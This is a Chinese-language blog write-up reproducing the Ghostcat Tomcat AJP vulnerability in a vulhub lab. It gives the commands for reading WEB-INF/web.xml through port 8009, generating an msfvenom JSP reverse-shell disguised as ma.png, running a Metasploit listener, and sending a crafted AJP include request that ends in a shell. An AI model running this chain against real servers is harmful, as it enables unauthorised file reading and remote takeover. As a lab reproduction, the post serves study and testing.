0x00 漏洞概述
Java 是目前 Web 开发中主流的编程语言,而 Tomcat 是当前流行的 Java 中间件服务器之一,从初版发布到现在已经有二十多年历史,在世界范围内广泛使用。
Ghostcat 是由长亭发现的存在于 Tomcat 中的漏洞,由于 Tomcat AJP 协议设计上存在缺陷,攻击者通过 Tomcat AJP Connector 可以读取或包含 Tomcat 上所有 webapp 目录下的任意文件,例如可以读取 webapp 配置文件或源代码。此外在目标应用有文件上传功能的情况下,配合文件包含的利用还可以达到远程代码执行的危害。
0x01 影响范围
Tomcat 9.x < 9.0.31
Tomcat 8.x < 8.5.51
Tomcat 7.x < 7.0.100
Tomcat 6.x
0x02 环境搭建(vulhub)
0x03 漏洞检测
8009端口开放ajp协议
# 获取poc
wget https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi/archive/refs/heads/master.zip
# 解压
unzip master.zip
# 执行poc
python CNVD-2020-10487-Tomcat-Ajp-lfi.py 43.xx.xx.37 -p 8009 -f WEB-INF/web.xml
成功读取到了服务器的/usr/local/tomcat/webapps/ROOT/WEB-INF/web.xml文件
0x04 漏洞利用
安装msf
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
chmod 755 msfinstall
./msfinstall
使用msf生成反弹shell的jsp马,因为是文件包含漏洞,所以文件类型不用管
msfvenom -p java/jsp_shell_reverse_tcp LHOST=[ip] LPORT=[port] R >ma.png
然后模仿网站的文件上传功能,把马放到网站目录里去
docker cp ma.png 1cf744b0f648:/usr/local/tomcat/webapps/ROOT/WEB-INF/
开启msf的监听
msfconsole # 进入msf
use exploit/multi/handler
show options
set payload java/jsp_shell_reverse_tcp
set lhost x.x.x.x
set lport x
exploit
然后又用刚才的脚本读取了一波服务器下存在的ma.png文件
发现读取成功了,但是msf那边却没有反应,难道是脚本的问题?只进行了文件读取,而不是文件包含吗。尝试变换思路,下载AJP包构造器ajpfuzzer
wget https://github.com/doyensec/ajpfuzzer/releases/download/v0.6/ajpfuzzer_v0.6.jar
ok 下好了之后运行
java -jar ajpfuzzer_v0.6.jar
连接目标端口
connect [ip] [port]
构造发送AJP包的命令,[ip] [port] 为目标机器的ip和端口号,/WEB-INF/ma.png为上传的木马路径,11.jsp 可换做 *.jsp,任意网站目录下不存在的jsp文件,这样tomcat才会去调用DefaultServlet
forwardrequest 2 "HTTP/1.1" "/11.jsp" [ip] [ip] porto 8009 false "Cookie:AAAA=BBBB","Accept-Encoding:identity" "javax.servlet.include.request_uri:11.jsp","javax.servlet.include.path_info:/WEB-INF/ma.png","javax.servlet.include.servlet_path:/"
发送ajp请求后,ma.png文件被tomcat作为jsp文件解析,成功getshell
0x05 参考
https://www.chaitin.cn/zh/ghostcat
标签:文件,ma,Tomcat,ip,Ghostcat,jsp,2020,1938,png From: https://www.cnblogs.com/yueyejian/p/17323314.html